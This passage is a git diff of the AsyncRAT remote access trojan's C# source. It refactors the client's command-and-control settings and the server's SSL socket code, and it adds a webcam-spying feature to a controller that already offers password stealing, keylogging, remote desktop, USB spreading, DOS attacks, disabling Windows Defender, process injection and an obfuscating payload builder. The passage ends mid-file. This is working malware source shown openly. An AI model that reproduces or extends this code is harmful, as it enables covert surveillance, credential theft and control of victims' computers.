+1,5 @@ using System.Threading; -using Client.Sockets; +using Client.Connection; using Client.Install; using System; using Client.Helper; diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index efb5a62..73c8006 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -1,4 +1,4 @@ -using Client.Cryptography; +using Client.Algorithm; using System; using System.IO; using System.Security.Cryptography; @@ -10,11 +10,12 @@ namespace Client public static class Settings { #if DEBUG - public static string Ports = "6606,"; - public static string Hosts = "127.0.0.1,"; - public static string Version = "0.5.1"; + public static string Ports = "6606"; + public static string Hosts = "127.0.0.1"; + public static string Version = "0.5.2"; public static string Install = "false"; - public static string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); + public static string InstallFolder = "AppData"; + public static string InstallFile = "Test.exe"; public static string Key = "NYAN CAT"; public static string MTX = "%MTX%"; public static string Certificate = "%Certificate%"; @@ -30,7 +31,8 @@ namespace Client public static string Hosts = "%Hosts%"; public static string Version = "%Version%"; public static string Install = "%Install%"; - public static string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%Folder%"), "%File%"); + public static string InstallFolder = "%Folder%"; + public static string InstallFile = "%File%"; public static string Key = "%Key%"; public static string MTX = "%MTX%"; public static string Certificate = "%Certificate%"; diff --git a/AsyncRAT-C#/Server/Cryptography/Aes256.cs b/AsyncRAT-C#/Server/Algorithm/Aes256.cs similarity index 99% rename from AsyncRAT-C#/Server/Cryptography/Aes256.cs rename to AsyncRAT-C#/Server/Algorithm/Aes256.cs index 3c3288d..226edc0 100644 --- a/AsyncRAT-C#/Server/Cryptography/Aes256.cs +++ b/AsyncRAT-C#/Server/Algorithm/Aes256.cs @@ -7,7 +7,7 @@ using System.Security.Cryptography; using System.Text; using System.Threading.Tasks; -namespace Server.Cryptography +namespace Server.Algorithm { public class Aes256 { diff --git a/AsyncRAT-C#/Server/Cryptography/Sha256.cs b/AsyncRAT-C#/Server/Algorithm/Sha256.cs similarity index 96% rename from AsyncRAT-C#/Server/Cryptography/Sha256.cs rename to AsyncRAT-C#/Server/Algorithm/Sha256.cs index c048434..c01936d 100644 --- a/AsyncRAT-C#/Server/Cryptography/Sha256.cs +++ b/AsyncRAT-C#/Server/Algorithm/Sha256.cs @@ -1,7 +1,7 @@ using System.Security.Cryptography; using System.Text; -namespace Server.Cryptography +namespace Server.Algorithm { public static class Sha256 { diff --git a/AsyncRAT-C#/Server/Socket/Clients.cs b/AsyncRAT-C#/Server/Connection/Clients.cs similarity index 70% rename from AsyncRAT-C#/Server/Socket/Clients.cs rename to AsyncRAT-C#/Server/Connection/Clients.cs index 766441b..ad4d12e 100644 --- a/AsyncRAT-C#/Server/Socket/Clients.cs +++ b/AsyncRAT-C#/Server/Connection/Clients.cs @@ -12,13 +12,15 @@ using System.Text; using System.Net.Security; using System.Security.Authentication; using System.Threading.Tasks; +using Server.Algorithm; +using Server.Helper; -namespace Server.Sockets +namespace Server.Connection { public class Clients { - public Socket ClientSocket { get; set; } - public SslStream ClientSslStream { get; set; } + public Socket TcpClient { get; set; } + public SslStream SslClient { get; set; } public ListViewItem LV { get; set; } public ListViewItem LV2 { get; set; } public string ID { get; set; } @@ -29,27 +31,28 @@ namespace Server.Sockets public object SendSync { get; } = new object(); public long BytesRecevied { get; set; } + public Clients(Socket socket) { - ClientSocket = socket; - ClientSslStream = new SslStream(new NetworkStream(ClientSocket, true), false); - ClientSslStream.BeginAuthenticateAsServer(Settings.ServerCertificate, false, SslProtocols.Tls, false, EndAuthenticate, null); + TcpClient = socket; + SslClient = new SslStream(new NetworkStream(TcpClient, true), false); + SslClient.BeginAuthenticateAsServer(Settings.ServerCertificate, false, SslProtocols.Tls, false, EndAuthenticate, null); } private void EndAuthenticate(IAsyncResult ar) { try { - ClientSslStream.EndAuthenticateAsServer(ar); + SslClient.EndAuthenticateAsServer(ar); ClientBuffer = new byte[4]; ClientMS = new MemoryStream(); - ClientSslStream.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); + SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); } catch { //Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]); - ClientSslStream?.Dispose(); - ClientSocket?.Dispose(); + SslClient?.Dispose(); + TcpClient?.Dispose(); } } @@ -57,14 +60,14 @@ namespace Server.Sockets { try { - if (!ClientSocket.Connected) + if (!TcpClient.Connected) { Disconnected(); return; } else { - int Recevied = ClientSslStream.EndRead(ar); + int Recevied = SslClient.EndRead(ar); if (Recevied > 0) { await ClientMS.WriteAsync(ClientBuffer, 0, Recevied); @@ -96,7 +99,7 @@ namespace Server.Sockets ClientBufferRecevied = false; } } - ClientSslStream.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); + SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); } else { @@ -141,10 +144,16 @@ namespace Server.Sockets try { - ClientSslStream?.Close(); - ClientSocket?.Close(); - ClientSslStream?.Dispose(); - ClientSocket?.Dispose(); + TcpClient.Shutdown(SocketShutdown.Both); + } + catch { } + + try + { + SslClient?.Close(); + TcpClient?.Close(); + SslClient?.Dispose(); + TcpClient?.Dispose(); ClientMS?.Dispose(); } catch { } @@ -156,30 +165,41 @@ namespace Server.Sockets { try { - if (!ClientSocket.Connected) + if (!TcpClient.Connected) { Disconnected(); return; } if ((byte[])msg == null) return; - byte[] buffer = (byte[])msg; byte[] buffersize = BitConverter.GetBytes(buffer.Length); - ClientSocket.Poll(-1, SelectMode.SelectWrite); - ClientSslStream.Write(buffersize, 0, buffersize.Length); - ClientSslStream.Write(buffer, 0, buffer.Length); - ClientSslStream.Flush(); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(buffersize, 0, buffersize.Length); + SslClient.Flush(); + int chunkSize = 50 * 1024; + byte[] chunk = new byte[chunkSize]; + using (MemoryStream buffereReader = new MemoryStream(buffer)) + using (BinaryReader binaryReader = new BinaryReader(buffereReader)) + { + int bytesToRead = (int)buffereReader.Length; + do + { + chunk = binaryReader.ReadBytes(chunkSize); + bytesToRead -= chunkSize; + SslClient.Write(chunk); + SslClient.Flush(); + Settings.Sent += chunk.Length; + } while (bytesToRead > 0); + } Debug.WriteLine("/// Server Sent " + buffer.Length.ToString() + " Bytes ///"); - Settings.Sent += buffer.Length; } catch { Disconnected(); return; } - } } diff --git a/AsyncRAT-C#/Server/Socket/Listener.cs b/AsyncRAT-C#/Server/Connection/Listener.cs similarity index 93% rename from AsyncRAT-C#/Server/Socket/Listener.cs rename to AsyncRAT-C#/Server/Connection/Listener.cs index 235ddfb..f30e86e 100644 --- a/AsyncRAT-C#/Server/Socket/Listener.cs +++ b/AsyncRAT-C#/Server/Connection/Listener.cs @@ -6,7 +6,7 @@ using System.Drawing; using Server.Handle_Packet; using System.Diagnostics; -namespace Server.Sockets +namespace Server.Connection { class Listener { @@ -23,7 +23,7 @@ namespace Server.Sockets ReceiveBufferSize = 50 * 1024, }; Server.Bind(ipEndPoint); - Server.Listen(30); + Server.Listen(50); new HandleLogs().Addmsg($"Listenning {port}", Color.Green); Server.BeginAccept(EndAccept, null); } @@ -40,6 +40,7 @@ namespace Server.Sockets { new Clients(Server.EndAccept(ar)); } + catch { } finally { Server.BeginAccept(EndAccept, null); diff --git a/AsyncRAT-C#/Server/Forms/Form1.Designer.cs b/AsyncRAT-C#/Server/Forms/Form1.Designer.cs index 17e9ff2..b04d03a 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/Form1.Designer.cs @@ -55,6 +55,7 @@ this.reportWindowToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.runToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.stopToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.webcamToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.miscellaneousToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.botsKillerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.uSBSpreadToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); @@ -221,20 +222,20 @@ this.toolStripSeparator1, this.bUILDERToolStripMenuItem}); this.contextMenuClient.Name = "contextMenuStrip1"; - this.contextMenuClient.Size = new System.Drawing.Size(245, 273); + this.contextMenuClient.Size = new System.Drawing.Size(199, 240); // // aBOUTToolStripMenuItem // this.aBOUTToolStripMenuItem.Image = global::Server.Properties.Resources.info; this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem"; - this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(244, 32); + this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.aBOUTToolStripMenuItem.Text = "ABOUT"; this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click); // // toolStripSeparator2 // this.toolStripSeparator2.Name = "toolStripSeparator2"; - this.toolStripSeparator2.Size = new System.Drawing.Size(241, 6); + this.toolStripSeparator2.Size = new System.Drawing.Size(195, 6); // // sENDFILEToolStripMenuItem // @@ -243,7 +244,7 @@ this.tODISKToolStripMenuItem}); this.sENDFILEToolStripMenuItem.Image = global::Server.Properties.Resources.tomem; this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem"; - this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(244, 32); + this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.sENDFILEToolStripMenuItem.Text = "Send File"; // // tOMEMORYToolStripMenuItem @@ -268,10 +269,11 @@ this.passwordRecoveryToolStripMenuItem1, this.fileManagerToolStripMenuItem1, this.processManagerToolStripMenuItem1, - this.reportWindowToolStripMenuItem}); + this.reportWindowToolStripMenuItem, + this.webcamToolStripMenuItem}); this.monitoringToolStripMenuItem.Image = global::Server.Properties.Resources.monitoring_system; this.monitoringToolStripMenuItem.Name = "monitoringToolStripMenuItem"; - this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(244, 32); + this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.monitoringToolStripMenuItem.Text = "Monitoring"; // // remoteDesktopToolStripMenuItem1 @@ -338,6 +340,14 @@ this.stopToolStripMenuItem2.Text = "Stop"; this.stopToolStripMenuItem2.Click += new System.EventHandler(this.StopToolStripMenuItem2_Click); // + // webcamToolStripMenuItem + // + this.webcamToolStripMenuItem.Image = global::Server.Properties.Resources.webcam; + this.webcamToolStripMenuItem.Name = "webcamToolStripMenuItem"; + this.webcamToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.webcamToolStripMenuItem.Text = "Webcam"; + this.webcamToolStripMenuItem.Click += new System.EventHandler(this.WebcamToolStripMenuItem_Click); + // // miscellaneousToolStripMenuItem // this.miscellaneousToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { @@ -349,14 +359,14 @@ this.executeNETCodeToolStripMenuItem}); this.miscellaneousToolStripMenuItem.Image = global::Server.Properties.Resources.Miscellaneous; this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem"; - this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(244, 32); + this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.miscellaneousToolStripMenuItem.Text = "Miscellaneous"; // // botsKillerToolStripMenuItem // this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller; this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem"; - this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.botsKillerToolStripMenuItem.Text = "Bots Killer"; this.botsKillerToolStripMenuItem.Click += new System.EventHandler(this.BotsKillerToolStripMenuItem_Click); // @@ -364,7 +374,7 @@ // this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb; this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1"; - this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.uSBSpreadToolStripMenuItem1.Text = "USB Spread"; this.uSBSpreadToolStripMenuItem1.Click += new System.EventHandler(this.USBSpreadToolStripMenuItem1_Click); // @@ -372,7 +382,7 @@ // this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo; this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1"; - this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent"; this.seedTorrentToolStripMenuItem1.Click += new System.EventHandler(this.SeedTorrentToolStripMenuItem1_Click_1); // @@ -380,7 +390,7 @@ // this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell; this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1"; - this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.remoteShellToolStripMenuItem1.Text = "Remote Shell"; this.remoteShellToolStripMenuItem1.Click += new System.EventHandler(this.RemoteShellToolStripMenuItem1_Click_1); // @@ -388,7 +398,7 @@ // this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos; this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem"; - this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.dOSAttackToolStripMenuItem.Text = "DOS Attack"; this.dOSAttackToolStripMenuItem.Click += new System.EventHandler(this.DOSAttackToolStripMenuItem_Click_1); // @@ -396,7 +406,7 @@ // this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding; this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem"; - this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code"; this.executeNETCodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteNETCodeToolStripMenuItem_Click_1); // @@ -412,7 +422,7 @@ this.disableNetStatToolStripMenuItem}); this.extraToolStripMenuItem.Image = global::Server.Properties.Resources.extra; this.extraToolStripMenuItem.Name = "extraToolStripMenuItem"; - this.extraToolStripMenuItem.Size = new System.Drawing.Size(244, 32); + this.extraToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.extraToolStripMenuItem.Text = "Extra"; // // visitWebsiteToolStripMenuItem1 @@ -479,7 +489,7 @@ this.pCToolStripMenuItem}); this.systemToolStripMenuItem.Image = global::Server.Properties.Resources.system; this.systemToolStripMenuItem.Name = "systemToolStripMenuItem"; - this.systemToolStripMenuItem.Size = new System.Drawing.Size(244, 32); + this.systemToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.systemToolStripMenuItem.Text = "System"; // // clientToolStripMenuItem @@ -493,46 +503,46 @@ this.showFolderToolStripMenuItem}); this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client; this.clientToolStripMenuItem.Name = "clientToolStripMenuItem"; - this.clientToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.clientToolStripMenuItem.Size = new System.Drawing.Size(158, 34); this.clientToolStripMenuItem.Text = "Client"; // // closeToolStripMenuItem1 // this.closeToolStripMenuItem1.Name = "closeToolStripMenuItem1"; - this.closeToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.closeToolStripMenuItem1.Size = new System.Drawing.Size(213, 34); this.closeToolStripMenuItem1.Text = "Close"; this.closeToolStripMenuItem1.Click += new System.EventHandler(this.CloseToolStripMenuItem1_Click); // // restartToolStripMenuItem2 // this.restartToolStripMenuItem2.Name = "restartToolStripMenuItem2"; - this.restartToolStripMenuItem2.Size = new System.Drawing.Size(270, 34); + this.restartToolStripMenuItem2.Size = new System.Drawing.Size(213, 34); this.restartToolStripMenuItem2.Text = "Restart"; this.restartToolStripMenuItem2.Click += new System.EventHandler(this.RestartToolStripMenuItem2_Click); // // updateToolStripMenuItem2 // this.updateToolStripMenuItem2.Name = "updateToolStripMenuItem2"; - this.updateToolStripMenuItem2.Size = new System.Drawing.Size(270, 34); + this.updateToolStripMenuItem2.Size = new System.Drawing.Size(213, 34); this.updateToolStripMenuItem2.Text = "Update"; this.updateToolStripMenuItem2.Click += new System.EventHandler(this.UpdateToolStripMenuItem2_Click); // // uninstallToolStripMenuItem // this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem"; - this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(213, 34); this.uninstallToolStripMenuItem.Text = "Uninstall"; this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.UninstallToolStripMenuItem_Click); // // toolStripSeparator3 // this.toolStripSeparator3.Name = "toolStripSeparator3"; - this.toolStripSeparator3.Size = new System.Drawing.Size(267, 6); + this.toolStripSeparator3.Size = new System.Drawing.Size(210, 6); // // showFolderToolStripMenuItem // this.showFolderToolStripMenuItem.Name = "showFolderToolStripMenuItem"; - this.showFolderToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.showFolderToolStripMenuItem.Size = new System.Drawing.Size(213, 34); this.showFolderToolStripMenuItem.Text = "Show Folder"; this.showFolderToolStripMenuItem.Click += new System.EventHandler(this.ShowFolderToolStripMenuItem_Click); // @@ -544,40 +554,40 @@ this.shutdownToolStripMenuItem1}); this.pCToolStripMenuItem.Image = global::Server.Properties.Resources.pc; this.pCToolStripMenuItem.Name = "pCToolStripMenuItem"; - this.pCToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.pCToolStripMenuItem.Size = new System.Drawing.Size(158, 34); this.pCToolStripMenuItem.Text = "PC"; // // logoffToolStripMenuItem1 // this.logoffToolStripMenuItem1.Name = "logoffToolStripMenuItem1"; - this.logoffToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.logoffToolStripMenuItem1.Size = new System.Drawing.Size(195, 34); this.logoffToolStripMenuItem1.Text = "Logoff"; this.logoffToolStripMenuItem1.Click += new System.EventHandler(this.LogoffToolStripMenuItem1_Click); // // restartToolStripMenuItem3 // this.restartToolStripMenuItem3.Name = "restartToolStripMenuItem3"; - this.restartToolStripMenuItem3.Size = new System.Drawing.Size(270, 34); + this.restartToolStripMenuItem3.Size = new System.Drawing.Size(195, 34); this.restartToolStripMenuItem3.Text = "Restart"; this.restartToolStripMenuItem3.Click += new System.EventHandler(this.RestartToolStripMenuItem3_Click); // // shutdownToolStripMenuItem1 // this.shutdownToolStripMenuItem1.Name = "shutdownToolStripMenuItem1"; - this.shutdownToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.shutdownToolStripMenuItem1.Size = new System.Drawing.Size(195, 34); this.shutdownToolStripMenuItem1.Text = "Shutdown"; this.shutdownToolStripMenuItem1.Click += new System.EventHandler(this.ShutdownToolStripMenuItem1_Click); // // toolStripSeparator1 // this.toolStripSeparator1.Name = "toolStripSeparator1"; - this.toolStripSeparator1.Size = new System.Drawing.Size(241, 6); + this.toolStripSeparator1.Size = new System.Drawing.Size(195, 6); // // bUILDERToolStripMenuItem // this.bUILDERToolStripMenuItem.Image = global::Server.Properties.Resources.builder; this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem"; - this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(244, 32); + this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.bUILDERToolStripMenuItem.Text = "BUILDER"; this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click); // @@ -994,6 +1004,7 @@ private System.Windows.Forms.ToolStripMenuItem getAdminPrivilegesToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem disableWindowsDefenderToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem disableNetStatToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem webcamToolStripMenuItem; } } diff --git a/AsyncRAT-C#/Server/Forms/Form1.cs b/AsyncRAT-C#/Server/Forms/Form1.cs index e797df1..91b8819 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.cs +++ b/AsyncRAT-C#/Server/Forms/Form1.cs @@ -1,7 +1,7 @@ using System; using System.Windows.Forms; using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System.Threading.Tasks; using Microsoft.VisualBasic; using System.Linq; @@ -9,7 +9,7 @@ using System.Threading; using System.Drawing; using System.IO; using Server.Forms; -using Server.Cryptography; +using Server.Algorithm; using System.Diagnostics; using System.Net.Sockets; using Server.Handle_Packet; @@ -47,13 +47,15 @@ namespace Server { if (!File.Exists(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config"))) { - File.WriteAllText(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config"), Properties.Resources.AsyncRAT_Sharp_exe); - Process.Start(Application.ExecutablePath); + MessageBox.Show("Missing " + Path.GetFileName(Application.ExecutablePath) + ".config"); Environment.Exit(0); } if (!File.Exists(Path.Combine(Application.StartupPath, "cGeoIp.dll"))) + { MessageBox.Show("File 'cGeoIp.dll' Not Found!"); + Environment.Exit(0); + } if (!Directory.Exists(Path.Combine(Application.StartupPath, "Stub"))) Directory.CreateDirectory(Path.Combine(Application.StartupPath, "Stub")); @@ -166,6 +168,7 @@ namespace Server Clients client = (Clients)itm.Tag; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } + //GC.Collect(); } } @@ -314,7 +317,7 @@ namespace Server else { msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text; - msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin); + msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginRunPE); } ListViewItem lv = new ListViewItem(); @@ -424,7 +427,7 @@ namespace Server ThreadPool.QueueUserWorkItem(client.Send, asyncTask.msgPack); } } - await Task.Delay(15 * 1000); + await Task.Delay(15 * 1000); //15sec per 1 task } } catch { } @@ -485,7 +488,7 @@ namespace Server { FormSendFileToMemory formSend = new FormSendFileToMemory(); formSend.ShowDialog(); - if (formSend.isOK) + if (formSend.IsOK) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "sendMemory"; @@ -498,7 +501,7 @@ namespace Server else { msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text; - msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin); + msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginRunPE); // github.com/Artiist/RunPE-Process-Protection } @@ -618,10 +621,13 @@ namespace Server { try { + //DLL Plugin + //msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + //msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginDesktop); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Option").AsString = "capture"; - msgpack.ForcePathObject("Quality").AsInteger = 60; + msgpack.ForcePathObject("Quality").AsInteger = 30; foreach (ListViewItem itm in listView1.SelectedItems) { Clients client = (Clients)itm.Tag; @@ -635,8 +641,8 @@ namespace Server Name = "RemoteDesktop:" + client.ID, F = this, Text = "RemoteDesktop:" + client.ID, - C = client, - Active = true + ParentClient = client, + FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "RemoteDesktop") }; remoteDesktop.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); @@ -670,7 +676,7 @@ namespace Server Name = "keyLogger:" + client.ID, Text = "keyLogger:" + client.ID, F = this, - C = client + Client = client }; KL.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); @@ -701,7 +707,7 @@ namespace Server Name = "chat:" + client.ID, Text = "chat:" + client.ID, F = this, - C = client + Client = client }; shell.Show(); } @@ -734,7 +740,8 @@ namespace Server Name = "fileManager:" + client.ID, Text = "fileManager:" + client.ID, F = this, - C = client + Client = client, + FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "RemoteDesktop") }; fileManager.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); @@ -754,13 +761,15 @@ namespace Server { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "recoveryPassword"; - msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.StealerLib); + msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginRecovery); foreach (ListViewItem itm in listView1.SelectedItems) { Clients client = (Clients)itm.Tag; client.LV.ForeColor = Color.Red; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } + new HandleLogs().Addmsg("Sending Password Recovery..", Color.Black); + tabControl1.SelectedIndex = 1; } catch { } } @@ -788,7 +797,7 @@ namespace Server Name = "processManager:" + client.ID, Text = "processManager:" + client.ID, F = this, - C = client + Client = client }; processManager.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); @@ -813,6 +822,8 @@ namespace Server Clients client = (Clients)itm.Tag; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } + new HandleLogs().Addmsg("Sending Botkiller..", Color.Black); + tabControl1.SelectedIndex = 1; } catch { } } @@ -826,12 +837,14 @@ namespace Server { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "usbSpread"; - msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.HandleLimeUSB); + msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginUsbSpread); foreach (ListViewItem itm in listView1.SelectedItems) { Clients client = (Clients)itm.Tag; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } + new HandleLogs().Addmsg("Sending USB Spread..", Color.Black); + tabControl1.SelectedIndex = 1; } catch { } } @@ -1078,7 +1091,7 @@ namespace Server Name = "shell:" + client.ID, Text = "shell:" + client.ID, F = this, - C = client + Client = client }; shell.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); @@ -1142,7 +1155,7 @@ namespace Server MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "recoveryPassword"; - msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.StealerLib); + msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginRecovery); ListViewItem lv = new ListViewItem(); lv.Text = "Recovery Password"; lv.SubItems.Add("0"); @@ -1238,5 +1251,40 @@ namespace Server catch { } } } + + private void WebcamToolStripMenuItem_Click(object sender, EventArgs e) + { + if (listView1.SelectedItems.Count > 0) + { + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "webcam"; + msgpack.ForcePathObject("Command").AsString = "getWebcams"; + foreach (ListViewItem itm in listView1.SelectedItems) + { + Clients client = (Clients)itm.Tag; + this.BeginInvoke((MethodInvoker)(() => + { + FormWebcam remoteDesktop = (FormWebcam)Application.OpenForms["Webcam:" + client.ID]; + if (remoteDesktop == null) + { + remoteDesktop = new FormWebcam + { + Name = "Webcam:" + client.ID, + F = this, + Text = "Webcam:" + client.ID, + ParentClient = client, + FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "Camera") + }; + remoteDesktop.Show(); + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + })); + } + } + catch { } + } + } } } diff --git a/AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs b/AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs index 5edeec2..380000c 100644 --- a/AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs @@ -88,8 +88,8 @@ namespace Server.Forms this.btnIcon = new System.Windows.Forms.Button(); this.picIcon = new System.Windows.Forms.PictureBox(); this.tabPage6 = new System.Windows.Forms.TabPage(); - this.btnBuild = new System.Windows.Forms.Button(); this.chkObfu = new System.Windows.Forms.CheckBox(); + this.btnBuild = new System.Windows.Forms.Button(); this.groupBox1.SuspendLayout(); this.groupBox2.SuspendLayout(); this.groupBox3.SuspendLayout(); @@ -720,6 +720,16 @@ namespace Server.Forms this.tabPage6.Text = "Build"; this.tabPage6.UseVisualStyleBackColor = true; // + // chkObfu + // + this.chkObfu.AutoSize = true; + this.chkObfu.Location = new System.Drawing.Point(18, 148); + this.chkObfu.Name = "chkObfu"; + this.chkObfu.Size = new System.Drawing.Size(166, 24); + this.chkObfu.TabIndex = 2; + this.chkObfu.Text = "Simple Obfuscator"; + this.chkObfu.UseVisualStyleBackColor = true; + // // btnBuild // this.btnBuild.Location = new System.Drawing.Point(18, 196); @@ -730,18 +740,6 @@ namespace Server.Forms this.btnBuild.UseVisualStyleBackColor = true; this.btnBuild.Click += new System.EventHandler(this.BtnBuild_Click); // - // chkObfu - // - this.chkObfu.AutoSize = true; - this.chkObfu.Checked = true; - this.chkObfu.CheckState = System.Windows.Forms.CheckState.Checked; - this.chkObfu.Location = new System.Drawing.Point(18, 148); - this.chkObfu.Name = "chkObfu"; - this.chkObfu.Size = new System.Drawing.Size(166, 24); - 